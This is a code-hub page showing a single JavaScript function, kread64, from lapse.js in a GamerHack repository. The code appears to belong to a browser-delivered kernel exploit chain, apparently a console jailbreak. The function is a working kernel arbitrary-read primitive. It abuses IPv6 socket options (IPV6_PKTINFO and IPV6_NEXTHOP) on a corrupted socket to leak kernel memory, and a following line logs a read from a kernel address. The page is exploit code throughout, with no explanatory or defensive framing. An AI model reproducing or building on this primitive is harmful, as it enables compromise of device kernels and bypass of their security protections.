MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / kread64

Function kread64

g2all/700/lapse.js:1247–1267  ·  view source on GitHub ↗
(addr)

Source from the content-addressed store, hash-verified

1245 const read_buf = new Buffer(8);
1246 const read_buf_p = read_buf.addr;
1247 function kread64(addr) {
1248 const len = 8;
1249 let offset = 0;
1250 while (offset < len) {
1251 // pktopts.ip6po_nhinfo = addr + offset
1252 pktinfo.write64(8, addr.add(offset));
1253 nhop[0] = len - offset;
1254
1255 ssockopt(psd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
1256 sysi("getsockopt", psd, IPPROTO_IPV6, IPV6_NEXTHOP, read_buf_p.add(offset), nhop_p);
1257
1258 const n = nhop[0];
1259 if (n === 0) {
1260 read_buf[offset] = 0;
1261 offset += 1;
1262 } else {
1263 offset += n;
1264 }
1265 }
1266 return read_buf.read64(0);
1267 }
1268
1269 log(`kread64(&"evf cv"): ${kread64(kernel_addr)}`);
1270 const kstr = jstr(read_buf);

Callers 1

make_kernel_arwFunction · 0.70

Calls 5

ssockoptFunction · 0.70
sysiFunction · 0.70
write64Method · 0.45
addMethod · 0.45
read64Method · 0.45

Tested by

no test coverage detected